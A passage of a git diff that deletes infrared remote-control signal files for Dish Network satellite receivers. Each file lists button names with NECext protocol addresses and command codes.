0C 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 0E 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 10 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 14 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 16 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 18 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 1A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 1B 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 1C 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 1E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 1E 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 1F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 20 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 21 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 25 00 00 00 -# -name: # -type: parsed -protocol: NECext -address: 00 0C 00 00 -command: 26 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,2.ir deleted file mode 100644 index 45e534dff..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,2.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INFO -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 00 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 0E 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 11 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 14 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 16 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 17 00 00 00 -# -name: CURSOR_RIGHT(BROWSE) -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 18 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 1B 00 00 00 -# -name: CURSOR_LEFT_(THEMES) -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 1C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 1E 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 1F 00 00 00 -# -name: SYS_INFO -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 24 00 00 00 -# -name: *-FORMAT -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 25 00 00 00 -# -name: #-SEARCH -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 26 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 00 02 00 00 -command: 27 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,3.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,3.ir deleted file mode 100644 index c7321d8ad..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,3.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INFO -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 00 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 0E 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 11 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 14 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 16 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 17 00 00 00 -# -name: CURSOR_RIGHT(BROWSE) -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 18 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 1B 00 00 00 -# -name: CURSOR_LEFT_(THEMES) -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 1C 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 1E 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 1F 00 00 00 -# -name: SYS_INFO -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 24 00 00 00 -# -name: *-FORMAT -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 25 00 00 00 -# -name: #-SEARCH -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 26 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 00 03 00 00 -command: 27 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,31.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,31.ir deleted file mode 100644 index f424290f3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,31.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ALL_ADRESSES_ON -type: parsed -protocol: NECext -address: 00 1F 00 00 -command: 01 00 00 00 -# -name: ALL_ADRESSES_OFF -type: parsed -protocol: NECext -address: 00 1F 00 00 -command: 27 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,4.ir deleted file mode 100644 index a2b67bd05..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,4.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INFO -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 00 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 05 00 00 00 -# -name: 2_-_ABC -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 06 00 00 00 -# -name: 3_-_DEF -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 08 00 00 00 -# -name: 4_-_GHI -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 09 00 00 00 -# -name: 5_-_JKL -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 0A 00 00 00 -# -name: 6_-_MNO -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 0C 00 00 00 -# -name: 7_-_PQRS -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 0D 00 00 00 -# -name: 8_-_TUV -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 0E 00 00 00 -# -name: 9_-_WXYZ -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 0E 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 10 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 10 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 11 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 14 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 16 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 17 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 18 00 00 00 -# -name: CURSOR_RIGHT(BROWSE) -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 18 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 1A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 1B 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 1C 00 00 00 -# -name: CURSOR_LEFT_(THEME) -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 1C 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 1E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 1E 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 1F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 20 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 20 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 21 00 00 00 -# -name: *_FORMAT -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 25 00 00 00 -# -name: * -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 25 00 00 00 -# -name: #_SEARCH -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 26 00 00 00 -# -name: #_-_SEARCH -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 26 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 00 04 00 00 -command: 27 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,5.ir deleted file mode 100644 index fbf7e4322..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/0,5.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INFO -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 00 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 02 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 04 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 05 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 06 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 0A 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 0B 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 0C 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 0D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 0E 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 10 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 10 00 00 00 -# -name: SELECT/OK -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 11 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 11 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 14 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 16 00 00 00 -# -name: VIEW_TV -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 16 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 17 00 00 00 -# -name: SD/HD/INPUT -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 17 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 18 00 00 00 -# -name: BROWSE -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 18 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 1A 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 1A 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 1A 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 1B 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 1C 00 00 00 -# -name: THEMES -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 1C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 1E 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 1E 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 1E 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 1F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 20 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 21 00 00 00 -# -name: *_FORMAT -type: parsed -protocol: NECext -address: 00 05 00 00 -command: 25 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 32 00 00 00 -# -name: DISH -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 34 00 00 00 -# -name: SKIP- -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 36 00 00 00 -# -name: ARROW_REVERSE -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 36 00 00 00 -# -name: SKIP+ -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 37 00 00 00 -# -name: ARROW_FORWARD -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 37 00 00 00 -# -name: PVR -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 39 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 3A 00 00 00 -# -name: PIP_POSTION -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 3B 00 00 00 -# -name: PIP_SAWP -type: parsed -protocol: NECext -address: 01 04 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,5.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,5.ir deleted file mode 100644 index 472e90f46..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,5.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 05 00 00 -command: 03 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 01 05 00 00 -command: 07 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 01 05 00 00 -command: 0F 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 01 05 00 00 -command: 31 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 01 05 00 00 -command: 31 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 01 05 00 00 -command: 32 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 01 05 00 00 -command: 32 00 00 00 -# -name: DISH -type: parsed -protocol: NECext -address: 01 05 00 00 -command: 34 00 00 00 -# -name: SKIP- -type: parsed -protocol: NECext -address: 01 05 00 00 -command: 36 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: 01 05 00 00 -command: 36 00 00 00 -# -name: SKIP+ -type: parsed -protocol: NECext -address: 01 05 00 00 -command: 37 00 00 00 -# -name: SKIP_FWD -type: parsed -protocol: NECext -address: 01 05 00 00 -command: 37 00 00 00 -# -name: PVR -type: parsed -protocol: NECext -address: 01 05 00 00 -command: 39 00 00 00 -# -name: DVR -type: parsed -protocol: NECext -address: 01 05 00 00 -command: 39 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 01 05 00 00 -command: 3A 00 00 00 -# -name: PIP_POSTION -type: parsed -protocol: NECext -address: 01 05 00 00 -command: 3B 00 00 00 -# -name: PIP_SAWP -type: parsed -protocol: NECext -address: 01 05 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,6.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,6.ir deleted file mode 100644 index ee5f57ce3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,6.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 03 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 07 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 0F 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 31 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 31 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 32 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 32 00 00 00 -# -name: DISH -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 34 00 00 00 -# -name: SKIP- -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 36 00 00 00 -# -name: SKIP_BACK -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 36 00 00 00 -# -name: SKIP+ -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 37 00 00 00 -# -name: SKIP_FWD -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 37 00 00 00 -# -name: PVR -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 39 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 3A 00 00 00 -# -name: PIP_POSTION -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 3B 00 00 00 -# -name: POSITION -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 3B 00 00 00 -# -name: PIP_SAWP -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 3D 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 01 06 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,7.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,7.ir deleted file mode 100644 index 4a6d2db8c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/1,7.ir +++ /dev/null @@ -1,92 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 07 00 00 -command: 03 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 01 07 00 00 -command: 07 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 01 07 00 00 -command: 0F 00 00 00 -# -name: BACK_<< -type: parsed -protocol: NECext -address: 01 07 00 00 -command: 31 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 01 07 00 00 -command: 31 00 00 00 -# -name: FWD_>> -type: parsed -protocol: NECext -address: 01 07 00 00 -command: 32 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 01 07 00 00 -command: 32 00 00 00 -# -name: DISH -type: parsed -protocol: NECext -address: 01 07 00 00 -command: 34 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 01 07 00 00 -command: 36 00 00 00 -# -name: SKIP- -type: parsed -protocol: NECext -address: 01 07 00 00 -command: 36 00 00 00 -# -name: SKIP+ -type: parsed -protocol: NECext -address: 01 07 00 00 -command: 37 00 00 00 -# -name: PVR -type: parsed -protocol: NECext -address: 01 07 00 00 -command: 39 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 01 07 00 00 -command: 3A 00 00 00 -# -name: PIP_POSTION -type: parsed -protocol: NECext -address: 01 07 00 00 -command: 3B 00 00 00 -# -name: PIP_SAWP -type: parsed -protocol: NECext -address: 01 07 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir deleted file mode 100644 index fcaa3b856..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/15,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/16,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/16,0.ir deleted file mode 100644 index 6b3262c79..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/16,0.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 19 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 28 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 2A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/24,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/24,0.ir deleted file mode 100644 index 164398f85..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/24,0.ir +++ /dev/null @@ -1,74 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: INFO -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 00 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0B 00 00 00 -# -name: CANCEL -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 14 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 15 00 00 00 -# -name: BROWSE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 18 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1B 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1F 00 00 00 -# -name: PAGE_+ -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 22 00 00 00 -# -name: PAGE_- -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 23 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2C 00 00 00 -# -name: DISH -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 34 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir deleted file mode 100644 index 7661fe40d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/28,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 1D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 1C 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dish Network/Satellite/4,0.ir 